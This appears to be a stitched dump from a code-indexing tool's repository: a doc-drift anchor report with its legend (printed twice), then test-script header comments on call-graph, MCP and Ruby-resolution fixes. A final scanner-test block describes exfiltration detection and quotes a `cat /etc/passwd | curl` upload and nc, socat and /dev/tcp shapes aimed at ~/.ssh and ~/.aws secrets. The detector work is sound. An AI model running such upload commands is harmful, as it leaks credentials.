drift descending (path breaks ties), so the worst rot leads and a fully dated doc, which is drift zero by construction, sinks on the same key. Prose claims, Status lines and dates are NOT checked. A `path:A-B` RANGE gets one more structural check: why="range-straddles" fires when A's innermost symbol does not reach B (got= then names whatever occupies B instead, tgt= that site), regardless of whether the doc names a symbol. weak-file-line, the one unchecked reason that names no symbol, gets a FREE disclosure instead of a verdict: <weak-file-line p= n=> groups, one per doc, list every such anchor whose line DOES sit inside an indexed symbol, and each <w> row's resolves-to= names it — the verb still does not know if that is the symbol the doc meant. This section sits beside, not inside, the <doc> rows: a doc can appear in it while still counting toward clean=, and every row it lists still counts once in the unchecked r="weak-file-line" tally below. docs_unread=, when present, is the count of indexed documents this scan could NOT read (permissions, a race with a writer) — they are not in docs= and their anchors were not checked; absent means none. FOUR COUNTERS on this element name four DIFFERENT populations, stated here because one of them openly disagrees with a number the map reports elsewhere. docs= is the DOCUMENTS scanned for anchors (markdown by extension, after any filter); it is the denominator of the doc rows below. clean= is how many of those docs came out with NO failed anchor — drift and dated both zero for that doc — so docs minus clean is exactly the number of <doc> rows below, before any paging window is applied. A doc whose anchors were all unchecked, or all prose, is clean here: clean means nothing was found rotten, not that everything was verified. prose= is the anchors dropped as prose, so it is SUBTRACTED from anchors= rather than added to it, and the verb does not claim to have checked them; only the VALUE shapes (`= N` and `[N]`) can be dropped this way, and the drop is itself a corpus lookup — the name was searched for and not found in code — not a pre-check guess. corpus= is the file population the anchors were checked AGAINST, and it is its OWN population rather than a relation to the map's files=: the indexed files this walk could re-read, PLUS a fixed set of config, shader and build-file extensions (CMakeLists.txt, .cmake, .yml/.yaml, .toml, .metal/.glsl/.hlsl and the like — an extension whitelist, never a content sniff), MINUS every file this walk could not open or that exceeded its own 4 MiB read ceiling, which is dropped silently and never counted. So corpus= is USUALLY larger than files= and that is the normal case, but it is not always: a crawl run whose max file size ceiling was raised above 4 MiB indexes files this walk still refuses, and a file the index lists but this run cannot open is counted by one and not the other. Neither number is wrong. corpus="0" means the corpus scan never ran at all, which happens only when the docs raised no anchor SHAPE whatsoever — prose ones included — so anchors="0" beside a non-zero prose= still scanned, and still reports the corpus it scanned. PER-DOC ROW LISTINGS AND WHAT THEY DISCLOSE. The <a> rows under a <doc> are the FAILED anchors of that doc and they are capped, by default at 12 a doc. A doc whose listing was cut says so on its own element: shown_failed= is how many <a> rows this run printed, failed_capped="1" says rows were dropped, and failed_total= is the whole failed population for that doc — which is drift= + dated=, stated as its own number so no reader has to sum two attributes to learn what was cut, and deliberately NOT spelled anchors_total=, because anchors= on the same element counts EVERY anchor in the doc and not these rows. The <weak-file-line> groups cap the same way and disclose the same way against their own n=: shown_weak= with weak_capped="1". Both pairs are emitted ONLY when the cut happened — no element carries a capped="0" that could never fire — and the more drift= / more weak= remainders they sit beside are unchanged. THE VERDICT IS NEVER THE WINDOW: docs=, clean=, anchors=, checked=, unchecked=, drift=, dated= and prose= on this root, and drift=/dated=/anchors=/checked= on every <doc>, are computed over the FULL anchor set before any cap exists, so raising or removing the cap cannot move one of them. limit=N does NOT raise this cap and is not meant to: it windows the <doc> ROWS, which are this report's primary listing, and one flag governing both would make the same doc print a different number of anchor rows depending on the page it was served on. The flag that lifts the per-doc cap entirely is detail=N (any N above zero), and next= on this root is exactly that invocation, emitted only when a listing was cut. --><doc-drift docs="5" clean="0" anchors="38" checked="31" unchecked="7" drift="11" dated="6" prose="1" corpus="10" at="6afaa457a+dirty"><doc p="NOTES.md" anchors="29" checked="22" drift="8" dated="0"><a k="file-line" l="9" c="64" why="line-moved" ref="code.h:23" sym="stableHelper" got="movedHelper" tgt="code.h:17"/><a k="file-line" l="10" c="58" why="past-eof" ref="code.h:900" sym="stableHelper" got="33 lines" tgt="code.h"/><a k="file-line" l="11" c="53" why="missing-file" ref="deletedFile.h:12"/><a k="symbol" l="18" c="62" why="undefined" ref="deletedHelper"/><a k="const" l="26" c="29" why="const-value" ref="kDriftedLimit = 10" want="10" got="15" tgt="code.h:11"/><a k="array" l="28" c="49" why="array-extent" ref="kDriftedTable[16]" want="16" got="18" tgt="code.h:14"/><a k="array" l="29" c="61" why="array-extent" ref="[16]" want="16" got="18" tgt="code.h:14"/><a k="file-line" l="42" c="49" why="range-straddles" ref="code.h:18-23" got="movedHelper" tgt="code.h:23"/></doc><doc p="live_notes.md" anchors="2" checked="2" drift="2" dated="0"><a k="file-line" l="10" c="36" why="past-eof" ref="code.h:906" got="33 lines" tgt="code.h"/><a k="file-line" l="17" c="36" why="past-eof" ref="code.h:907" got="33 lines" tgt="code.h"/></doc><doc p="record_line.md" anchors="4" checked="4" drift="1" dated="3"><a k="file-line" l="7" c="48" why="past-eof" kind="dated-record" rec="line" ref="code.h:902" got="33 lines" tgt="code.h"/><a k="file-line" l="8" c="48" why="past-eof" kind="dated-record" rec="line" ref="code.h:903" got="33 lines" tgt="code.h"/><a k="file-line" l="11" c="43" why="past-eof" kind="dated-record" rec="line" ref="code.h:904" got="33 lines" tgt="code.h"/><a k="file-line" l="13" c="82" why="past-eof" ref="code.h:905" got="33 lines" tgt="code.h"/></doc><doc p="RECORD_2026-01-15.md" anchors="1" checked="1" drift="0" dated="1"><a k="file-line" l="7" c="52" why="past-eof" kind="dated-record" rec="title" ref="code.h:900" got="33 lines" tgt="code.h"/></doc><doc p="record_stamp.md" anchors="2" checked="2" drift="0" dated="2"><a k="file-line" l="8" c="42" why="past-eof" kind="dated-record" rec="stamp" ref="code.h:900" got="33 lines" tgt="code.h"/><a k="file-line" l="15" c="73" why="past-eof" kind="dated-record" rec="block" ref="code.h:901" got="33 lines" tgt="code.h"/></doc><weak-file-line p="NOTES.md" n="1"><w l="41" c="71" ref="code.h:19" resolves-to="stableHelper"/></weak-file-line><unchecked r="weak-file-line" n="1" note="no symbol named on the anchor&apos;s line: file existence and the EOF bound were checked, symbol identity was not"/><unchecked r="named-elsewhere" n="1" note="the symbol named beside this anchor is not defined in the anchored file, so the doc is pointing at a call site or a neighbouring fact rather than that definition: existence and the EOF bound were checked, symbol identity was not"/><unchecked r="not-indexed" n="1" note="the anchored file exists in the tree but is not in the index (an excluded directory, or a language ripwire does not parse), so neither the line bound nor symbol identity could be checked"/><unchecked r="not-a-definition" n="1" note="the name occurs in the code as an identifier token but is not an indexed definition (library API, macro, build variable, or a declaration kind the grammar does not tag): presence checked, definition not"/><unchecked r="foreign-scope" n="1" note="the mention is qualified by a scope this repo does not define, so it names another project&apos;s API rather than this code"/><unchecked r="uncorroborated" n="2" note="no name this repo DOES define appears on the mention&apos;s own line, so it reads as an illustrative or external identifier rather than a claim about this code"/><dated r="line" n="3" note="the anchor&apos;s own line dates the claim — an at-the-time / as-of-DATE hedge, or a line that opens with an ISO date (a changelog or ledger row)"/><dated r="block" n="1" note="the nearest markdown heading at or above the anchor carries an ISO date, so the whole section is an observation made on that day"/><dated r="title" n="1" note="the doc&apos;s filename or its H1 title carries an ISO date: the document IS the artifact of that day, and its anchors are what was true then"/><dated r="stamp" n="1" note="the doc&apos;s front matter carries a LABELLED self-date (Date: / Written / Generated / Recorded …), which dates the document rather than something it discusses"/></doc-drift>

A `path:A-B` RANGE gets one more structural check: why="range-straddles" fires when A's innermost symbol does not reach B (got= then names whatever occupies B instead, tgt= that site), regardless of whether the doc names a symbol. weak-file-line, the one unchecked reason that names no symbol, gets a FREE disclosure instead of a verdict: <weak-file-line p= n=> groups, one per doc, list every such anchor whose line DOES sit inside an indexed symbol, and each <w> row's resolves-to= names it — the verb still does not know if that is the symbol the doc meant. This section sits beside, not inside, the <doc> rows: a doc can appear in it while still counting toward clean=, and every row it lists still counts once in the unchecked r="weak-file-line" tally below. docs_unread=, when present, is the count of indexed documents this scan could NOT read (permissions, a race with a writer) — they are not in docs= and their anchors were not checked; absent means none. FOUR COUNTERS on this element name four DIFFERENT populations, stated here because one of them openly disagrees with a number the map reports elsewhere. docs= is the DOCUMENTS scanned for anchors (markdown by extension, after any filter); it is the denominator of the doc rows below. clean= is how many of those docs came out with NO failed anchor — drift and dated both zero for that doc — so docs minus clean is exactly the number of <doc> rows below, before any paging window is applied. A doc whose anchors were all unchecked, or all prose, is clean here: clean means nothing was found rotten, not that everything was verified. prose= is the anchors dropped as prose, so it is SUBTRACTED from anchors= rather than added to it, and the verb does not claim to have checked them; only the VALUE shapes (`= N` and `[N]`) can be dropped this way, and the drop is itself a corpus lookup — the name was searched for and not found in code — not a pre-check guess. corpus= is the file population the anchors were checked AGAINST, and it is its OWN population rather than a relation to the map's files=: the indexed files this walk could re-read, PLUS a fixed set of config, shader and build-file extensions (CMakeLists.txt, .cmake, .yml/.yaml, .toml, .metal/.glsl/.hlsl and the like — an extension whitelist, never a content sniff), MINUS every file this walk could not open or that exceeded its own 4 MiB read ceiling, which is dropped silently and never counted. So corpus= is USUALLY larger than files= and that is the normal case, but it is not always: a crawl run whose max file size ceiling was raised above 4 MiB indexes files this walk still refuses, and a file the index lists but this run cannot open is counted by one and not the other. Neither number is wrong. corpus="0" means the corpus scan never ran at all, which happens only when the docs raised no anchor SHAPE whatsoever — prose ones included — so anchors="0" beside a non-zero prose= still scanned, and still reports the corpus it scanned. PER-DOC ROW LISTINGS AND WHAT THEY DISCLOSE. The <a> rows under a <doc> are the FAILED anchors of that doc and they are capped, by default at 12 a doc. A doc whose listing was cut says so on its own element: shown_failed= is how many <a> rows this run printed, failed_capped="1" says rows were dropped, and failed_total= is the whole failed population for that doc — which is drift= + dated=, stated as its own number so no reader has to sum two attributes to learn what was cut, and deliberately NOT spelled anchors_total=, because anchors= on the same element counts EVERY anchor in the doc and not these rows. The <weak-file-line> groups cap the same way and disclose the same way against their own n=: shown_weak= with weak_capped="1". Both pairs are emitted ONLY when the cut happened — no element carries a capped="0" that could never fire — and the more drift= / more weak= remainders they sit beside are unchanged. THE VERDICT IS NEVER THE WINDOW: docs=, clean=, anchors=, checked=, unchecked=, drift=, dated= and prose= on this root, and drift=/dated=/anchors=/checked= on every <doc>, are computed over the FULL anchor set before any cap exists, so raising or removing the cap cannot move one of them. limit=N does NOT raise this cap and is not meant to: it windows the <doc> ROWS, which are this report's primary listing, and one flag governing both would make the same doc print a different number of anchor rows depending on the page it was served on. The flag that lifts the per-doc cap entirely is detail=N (any N above zero), and next= on this root is exactly that invocation, emitted only when a listing was cut. --><doc-drift docs="5" clean="0" anchors="38" checked="31" unchecked="7" drift="11" dated="6" prose="1" corpus="10" at="6afaa457a+dirty"><doc p="NOTES.md" anchors="29" checked="22" drift="8" dated="0"><a k="file-line" l="9" c="64" why="line-moved" ref="code.h:23" sym="stableHelper" got="movedHelper" tgt="code.h:17"/><a k="file-line" l="10" c="58" why="past-eof" ref="code.h:900" sym="stableHelper" got="33 lines" tgt="code.h"/><a k="file-line" l="11" c="53" why="missing-file" ref="deletedFile.h:12"/><a k="symbol" l="18" c="62" why="undefined" ref="deletedHelper"/><a k="const" l="26" c="29" why="const-value" ref="kDriftedLimit = 10" want="10" got="15" tgt="code.h:11"/><a k="array" l="28" c="49" why="array-extent" ref="kDriftedTable[16]" want="16" got="18" tgt="code.h:14"/><a k="array" l="29" c="61" why="array-extent" ref="[16]" want="16" got="18" tgt="code.h:14"/><a k="file-line" l="42" c="49" why="range-straddles" ref="code.h:18-23" got="movedHelper" tgt="code.h:23"/></doc><doc p="live_notes.md" anchors="2" checked="2" drift="2" dated="0"><a k="file-line" l="10" c="36" why="past-eof" ref="code.h:906" got="33 lines" tgt="code.h"/><a k="file-line" l="17" c="36" why="past-eof" ref="code.h:907" got="33 lines" tgt="code.h"/></doc><doc p="record_line.md" anchors="4" checked="4" drift="1" dated="3"><a k="file-line" l="7" c="48" why="past-eof" kind="dated-record" rec="line" ref="code.h:902" got="33 lines" tgt="code.h"/><a k="file-line" l="8" c="48" why="past-eof" kind="dated-record" rec="line" ref="code.h:903" got="33 lines" tgt="code.h"/><a k="file-line" l="11" c="43" why="past-eof" kind="dated-record" rec="line" ref="code.h:904" got="33 lines" tgt="code.h"/><a k="file-line" l="13" c="82" why="past-eof" ref="code.h:905" got="33 lines" tgt="code.h"/></doc><doc p="RECORD_2026-01-15.md" anchors="1" checked="1" drift="0" dated="1"><a k="file-line" l="7" c="52" why="past-eof" kind="dated-record" rec="title" ref="code.h:900" got="33 lines" tgt="code.h"/></doc><doc p="record_stamp.md" anchors="2" checked="2" drift="0" dated="2"><a k="file-line" l="8" c="42" why="past-eof" kind="dated-record" rec="stamp" ref="code.h:900" got="33 lines" tgt="code.h"/><a k="file-line" l="15" c="73" why="past-eof" kind="dated-record" rec="block" ref="code.h:901" got="33 lines" tgt="code.h"/></doc><weak-file-line p="NOTES.md" n="1"><w l="41" c="71" ref="code.h:19" resolves-to="stableHelper"/></weak-file-line><unchecked r="weak-file-line" n="1" note="no symbol named on the anchor&apos;s line: file existence and the EOF bound were checked, symbol identity was not"/><unchecked r="named-elsewhere" n="1" note="the symbol named beside this anchor is not defined in the anchored file, so the doc is pointing at a call site or a neighbouring fact rather than that definition: existence and the EOF bound were checked, symbol identity was not"/><unchecked r="not-indexed" n="1" note="the anchored file exists in the tree but is not in the index (an excluded directory, or a language ripwire does not parse), so neither the line bound nor symbol identity could be checked"/><unchecked r="not-a-definition" n="1" note="the name occurs in the code as an identifier token but is not an indexed definition (library API, macro, build variable, or a declaration kind the grammar does not tag): presence checked, definition not"/><unchecked r="foreign-scope" n="1" note="the mention is qualified by a scope this repo does not define, so it names another project&apos;s API rather than this code"/><unchecked r="uncorroborated" n="2" note="no name this repo DOES define appears on the mention&apos;s own line, so it reads as an illustrative or external identifier rather than a claim about this code"/><dated r="line" n="3" note="the anchor&apos;s own line dates the claim — an at-the-time / as-of-DATE hedge, or a line that opens with an ISO date (a changelog or ledger row)"/><dated r="block" n="1" note="the nearest markdown heading at or above the anchor, or a level-2+ heading enclosing it, carries an ISO date, so the whole section is an observation made on that day"/><dated r="title" n="1" note="the doc&apos;s filename or its H1 title carries an ISO date: the document IS the artifact of that day, and its anchors are what was true then"/><dated r="stamp" n="1" note="the doc&apos;s front matter carries a LABELLED self-date (Date: / Written / Generated / Recorded …), which dates the document rather than something it discusses"/></doc-drift>

+# tags.scm captures the binding as a definition (JS, TS, Lua, Python).
+#
+# The defect (0.6.5): the @definition node of `const f = (x) => {…}` is the lexical_declaration, of
+# `M.f = function(x) … end` the assignment_statement, of a class-body `f = lambda self, x: g(x)` the
+# assignment — none of which owns a `body:` field. So bodyByte stayed 0, sigEndByte == endByte, and
+# `--callees=f` answered bodyless_defs="1" for a function with a body: a FALSE claim, and every verb that
+# skips bodyless symbols (quality panel, clones, naming, hotspots, biggest-first) silently skipped them.
+#
+# The fix (src/ingest_relations.h, kFnLiteralBinding + defBodyNodeOf): when the def node has no body, walk
+# from the @name up to the def node looking for a value-carrying field (value:/right:, or the first value
+# of a positional expression_list) whose value — through cast/paren wrappers — is a function literal, and

+#!/usr/bin/env bash
+# impactdepthcheck.sh — depth-labelled --impact (0.6.5): the hop depth the blast-radius walk already records
+# (graph.h transitiveCallersDepth), put on the listing.
+#
+# THE DEFECT. --impact listed its reach set in PageRank order with no depth, so a reader could not tell a direct
+# caller from a four-hop dependent, and the page window (40 rows by default, --limit=N) cut across every depth at
+# once: a well-ranked 2- or 3-hop dependent could push a DIRECT caller out of the page, and nothing in the answer
+# said which depths the page covered. The fix orders rows by hop depth first (PageRank order within a depth, as
+# before) BEFORE the window cuts, prints d= on the rows (run-length: the page's first row and each depth change),
+# and puts by_depth=k:n,… on the root, so a cut drops the deepest rows first and says where it stopped.
+#
+# FIXTURE (written below): target() has TWO direct callers. direct_b sits under hub(), which six functions call,
+# so hub (2 hops) and direct_b out-rank the other direct caller, direct_z, under PageRank. On the pre-fix binary
+# --impact=target --limit=2 printed direct_b and hub and dropped direct_z: arm (1) is RED there.
+#
+# ARMS
+#   (1) HEAD FIRST: --limit=2 prints exactly the d=1 set, which equals --callers=target's rows (a second verb's
+#       answer, not this gate's own table).
+#   (2) by_depth= on the root is "1:2,2:1,3:6" on the fixture and its counts sum to reaches=.
+#   (3) every row's depth (d= expanded run-length) equals the fixture's hand-derived hop count; d= is printed on
+#       the first row and exactly where the depth changes; depths never decrease down the listing.
+#   (4) a page that starts mid-depth (--offset=3) still prints d= on its first row.
+#   (5) --json: "by_depth" is the same counts as an array and every row carries "d" equal to the XML depth.
+#   (6) --format=columnar: fields= names depth and the <depth> column equals the XML depths.
+#   (7) the MCP impact twin: the same by_depth= and the same rows (name, d=) as the CLI, and the same full clause.
+#   (8) reaches="0" (lonely): no by_depth=, no d=, and neither legend carries the depth reading.
+#   (9) legends: the full answer carries graphlegend.h's clause, the compact one its two readings.
+#  (10) re-derivation on the shared gate fixture (test/fixture, --impact=distance): the d=1 rows equal
+#       --callers=distance, and by_depth= sums to reaches=.
+#  (11) determinism: two runs are byte-identical.

+# mcptoolsubsetcheck.sh — `--mcp-tools=SPEC` lists a SUBSET of the MCP catalog, and the subset is never silent.
+#
+# THE COST IT EXISTS FOR. tools/list is ~46 KB (~11.6K tokens) for 33 tools, and a client that loads schemas eagerly
+# pays it at every session start whether a tool is called or not. `--mcp-tools=` takes a comma list of tool names
+# and/or profiles (`core` = the loop the server's own instructions teach, `full` = everything), unioned.
+#
+# THE CONTRACT this gate holds:
+#   (A) no flag and `--mcp-tools=full` are the SAME server: initialize and tools/list byte-identical.
+#   (B) [red] `--mcp-tools=core` lists exactly the core set, each stanza byte-identical to the full list's, and the
+#             response is valid JSON; a 3-tool allowlist lists exactly those 3.
+#   (C) [red] initialize announces the subset (N of 33, the flag), and its instructions name NO tool the subset hides
+#             (the 3-tool allowlist drops the hints for explore/from_trace/edit_check/quality_delta/batch); with every
+#             instruction-named tool listed (core) the base instructions are unchanged.
+#   (D) [red] a tools/call of a hidden tool is REFUSED (-32602) naming the restart that enables it, and the batch
+#             sub-query when batch serves it; the pack_task alias follows explore. Never answers, never "unknown tool".
+#   (E) [red] listed tools still answer under a subset, and batch still serves a sub-verb the subset hides.
+#   (F) [red] the unknown-tool refusal counts the LISTED tools, not 33.
+#   (G) [red] argv validation: unknown name (with its near miss and the valid names), a duplicate, an empty item,
+#             an empty value, and the flag without --mcp/--listen — each exits 1 with its reason on stderr.
+#   (H) [red] the --listen transport lists the same subset.
+#   (I) [red] `ripwire wrap` passes the flag into the server command it prints (claude, cursor, opencode), counts
+#             the listed verbs, says where it could not pass it (codex), refuses a bad spec, and without the flag
+#             (or with `full`) prints the unchanged recipe.

+# mcptwinclaimscheck.sh — three MCP answers that claimed more than they checked (0.6.6 command sweep).
+#
+# The sweep ran every CLI verb and its MCP twin over three repositories and graded each answer against the
+# source. Three MCP answers were FALSE or self-contradictory where the CLI was right:
+#
+#   (A) whereis   — the MCP twin passed the tree scan no index evidence, so its HEAD rows kept the lexical
+#                   shape test and a CALL SITE read kind="def" (`const auto ep = rw::escapeXml( …` in
+#                   src/mcpverbs.h), with head_labels="lexical" beside it. The CLI, holding the index,
+#                   labelled the same row kind="ref". Contract: both surfaces label HEAD from the index, so
+#                   the (p, l, kind) set of HEAD rows and head_labels= are identical.
+#   (B) uses      — for a name with no indexed definition and no indexed REFERENCE, the refusal said "no
+#                   use-site under that spelling". The scan behind it reads indexed reference edges only; a
+#                   member access on an unindexed field (a TypeScript interface property, `row.valueToken`)
+#                   is a use-site it never looks at. The CLI says only "matched no indexed definition".
+#                   Contract: the refusal names what was checked and never claims "no use-site".
+#   (C) find_symbol — `count` / `hop_tested` / `hop_untested` describe the CALLS array, and sat unlabelled next
+#                   to `calledBy_total` ("count":0 beside "calledBy_total":67 on a leaf). Contract: the payload
+#                   names the array count= describes (count_of="calls"), and count equals that array's total.

+# rubydescribedclasscheck.sh — gate for RSpec's `described_class` as a CONSTANT receiver: inside
+# `RSpec.describe Calc do … end`, `described_class.m1( 1 )` is `Calc.m1( 1 )`, so it pins to Calc::m1 through the
+# same Rule 2c arm a written `Calc.m1( 1 )` takes (#267), instead of declining.
+#
+# Why it matters: a spec's calls are the test→code edges tested=, --seams and --test-gate read. `described_class`
+# is how RSpec spells the class under test (902 uses in one measured Rails app's spec/, 4216 in another), and it is
+# a bare (identifier) receiver no binding names, so every such call declined and the spec reached nothing.
+#
+# The rule is RSpec's own (rspec-core 3.13, Metadata::ExampleGroupHash#described_class): a group's described class
+# is its FIRST description argument unless that is nil or a String; otherwise it is the parent group's. So the
+# INNERMOST enclosing example group whose first argument is a constant wins, and a string-described group passes
+# its parent's through. An example group is a call of describe/context (and their x/f and feature spellings)
+# with no receiver or the receiver `RSpec`, that carries a block.
+#
+# Stated floors, pinned below so each stays a decision:
+#   (a) a CHAINED receiver (`described_class.new.m_chain`) is untouched — the same one-hop bound as #267's
+#       `Calc.new.scale`: the receiver is a call, not a constant.
+#   (b) a group with no constant (`RSpec.describe "no class"`, `RSpec.describe :sym`) names no class, so
+#       `described_class` there is left exactly as it was.
+#   (c) a `describe` call on any other receiver (`Docs.describe Calc do`) is not an RSpec example group.
+#   (d) `subject` — the implicit `described_class.new` — is NOT modeled in this round: an explicit `subject { … }`
+#       can be anything, and telling the two apart is its own round.
+#   (e) a REDEFINED `described_class` declines: the redefinition names what it means, and this rule does not read
+#       it, so it answers nothing rather than the group's constant. A METHOD of that name — any `:described_class`
+#       symbol (`let( :described_class ) { … }`) or `def described_class` — declines every site in the file, since a
+#       method reaches the whole group. A LOCAL of that name — an assignment (`=`, `||=`), a multiple-assignment
+#       target, a block or method parameter — declines the sites Ruby reads as that local: after the binding in its
+#       own scope and in the blocks nested inside it, never in a sibling block, and never across a `def`. The name
+#       is matched as a whole word: `my_described_class = x` and `:described_class_name` redefine nothing.
+#   (f) a QUALIFIED describe is named by its FINAL segment: `RSpec.describe Cask::Tab` reads as `Tab`, the same
+#       final-segment rule #267 gives a written `Cask::Tab.m`. So where another `Tab` defines the method too, the
+#       call splits between the two; where only the other `Tab` defines it (the described class inherits it), the
+#       call pins to that one, unmarked. Carrying the full path to the resolver is its own round.
+#
+# A SHARED group (`shared_examples`, `shared_examples_for`, `shared_context`) stops the walk with no answer: its body
+# runs inside whichever group includes it, so its lexical parent's described class is not its own.

+# rubyinheritcheck.sh — gate for Ruby INHERITANCE edges: `class Child < Parent` is an IS-A edge, so it
+# reaches the lego (interface/implementor) view and the resolver's base walk.
+#
+# What was missing. ingest_relations.h::captureBases turns a class's base clause into inherit RawRefs
+# (role Extends), which buildGraph reads into the CHA-lite name graph chaUp/chaDown — the table Rule 1's
+# `super`/implicit-self walk and Rules 2b/2c's methodOnTypeOrBases probe after a type's OWN method set
+# misses. Ruby reached none of it. The clause kind `superclass` was already in captureBases' table (Java
+# spells its `extends` clause with the same node name), but isBaseTypeNode's list of base-TYPE node kinds
+# had no entry Ruby uses: Ruby names a base with (constant) — `class Child < Parent` — or with
+# (scope_resolution) — `class Derived < Space::Base`. So Ruby corpora carried no inheritance edges at
+# all: `--lego` listed no implementors, and `Child.build` could not reach a `build` defined on Parent.
+#
+# That second half is what held the gem numbers down in the constant-receiver round
+# (test/rubyrecvnarrowcheck.sh, floor (a)): a Rails gem reaches its class methods up an
+# ActiveRecord::Base hierarchy, and without chaUp the receiver rule can only see a type's OWN methods.
+#
+# The rule: a Ruby base is the (constant) or (scope_resolution) child of the class's `superclass` clause,
+# named by its FINAL segment (`Space::Base` → `Base`), which is how chaUp and byName key every other
+# language's bases. Everything else about captureBases is unchanged.
+#
+# Stated floors, pinned below so each stays a decision:
+#   (a) a COMPUTED superclass (`class Dynamic < Struct.new( :a )`) is a call, not a constant — no edge. Not
+#       even to the call's RECEIVER: captureBases descends one wrapper level for every language (TS's
+#       `extends_clause`, C#'s `base_list`), and in Ruby that descent landed on `Struct`, minting an edge that
+#       only read as absent because the fixture defines no Struct. `class Built < Factory.fabricate( :x )` against
+#       an in-tree `Factory` pins it.
+#   (b) a MIXIN (`include Helper` / `extend` / `prepend`) is NOT an inheritance edge in this round. It is
+#       a receiver-less call in the class BODY, not a clause — the same shape, and the same decision, as
+#       PHP's in-body `use SomeTrait;` (captureBases' own header). Ruby's ancestor chain really does hold
+#       included modules, so this is a real residue and a later round's subject, not a claim that it is
+#       not inheritance.
+#   (c) the base WALK is keyed by NAME. A base is found by name (its final segment, as every language's is)
+#       and then SCOPED: the superclass as written is looked up the way Ruby looks it up — Module.nesting
+#       innermost first, then the top level, `::X` absolute — against every class/module the tree opens (the
+#       #57 constant index, wrappers included), and only a definition with THAT fully-qualified constant gets
+#       the implementor row. So `class Rec < ActiveRecord::Base` is no implementor of the fixture's `Space::Base`,
+#       `class Inner < Base` inside `module Beta` lands on Beta::Base alone, and a base the tree never opens
+#       (`ActiveRecord::Base`) adds nothing to the CHA name graph — Rec's walk no longer reaches Space::Base's
+#       methods. What stays name-keyed is the walk's METHOD probe (canonByName is keyed `Scope::method` with the
+#       IMMEDIATE scope), so two in-tree bases sharing a final name still share one probe: `UsesAlpha.beta_make`
+#       pins to Beta::Base#beta_make although UsesAlpha < Alpha::Base. Pinned below; lifting it needs a
+#       qualified scope on the symbol itself.
+#   (d) `Built = Class.new( Parent )` — with or without a block — makes Built < Parent at runtime, but it is a constant
+#       ASSIGNMENT whose value is a call, not a `class` open: no class symbol, no superclass clause, no edge. The same
+#       decision as (a): the tool reads a base off a class header, never off a computed value.
+#
+# A class REOPENED with its superclass repeated (`class Reop < Parent … end` twice, legal Ruby) is two symbols but one
+# constant, so the lego view lists it ONCE: implementors are keyed by the derived class's constant, not by open.

+# only hint:
+#   --quality-delta=HEAD, --dmm=HEAD   "a root commit has no earlier tree" — HEAD is the shallow boundary, and its

+#   --owners                           bf="1" share="1.00" on every file, from one squashed commit, unqualified.

+# ── check 18 (#353): EXFILTRATE:net-exfil — graded by credential source, a destination required, var-free uploads caught ──
+# netexfil_severity.md holds five fenced blocks; line numbers are read off the fixture, so an edit to it cannot
+# silently shift what is asserted.
+#   1  the issue's three "Isolating the trigger" lines plus lines whose only $VAR is a host, port or id: a WARN row
+#      with why="no-cred-source" each, except the literal-port loopback line, which stays clean.
+#   2  a credential-shaped source on the line (credential-named var, Authorization header with a var, env dump,
+#      credential-named file operand): a CRITICAL net-exfil row, no why=.
+#   3  a SENSITIVE read piped, redirected or passed into an upload — curl, wget, nc HOST PORT, ncat, socat TCP:,
+#      a /dev/tcp redirect — mostly var-free (the issue's
+#      `cat /etc/passwd | curl … @-` scanned clean): CRITICAL — net-exfil with why="sensitive-read-upload", or the
+#      older ssh-aws-creds rule, which claims a ~/.ssh or ~/.aws path first.
+#   4  no row at all: a network verb with NO destination (the issue's `command -v … curl` tool-discovery loop,
+#      `command -v nc`, `nc -h`), and
+#      near misses — a non-sensitive file uploaded, a sensitive read not fed to the upload, a public key.
+#   5  a doc placeholder `http://<host>:<port>`: reported, never CRITICAL.
+# THE INVARIANT these rows pin (adversarial review, 2026-09-29): R1/R2 may only silence or downgrade a line carrying NO
+# credential token and NO sensitive read. Block 1 adds runner-prefixed and single-label-host WARN rows (command/eval/
+# stdbuf/run0 …, `curl host:port`, `env VAR=x curl`); block 2 the same shapes bearing a credential stay CRITICAL; block 3
+# the widened readers (tar/gzip/dd/openssl/xxd/od/head/tail/cp) and a sensitive read into a single-label host stay
+# CRITICAL; block 4's `command -v curl`/`command -V wget` stay clean. Every one of these was red on a8cdfd0d.
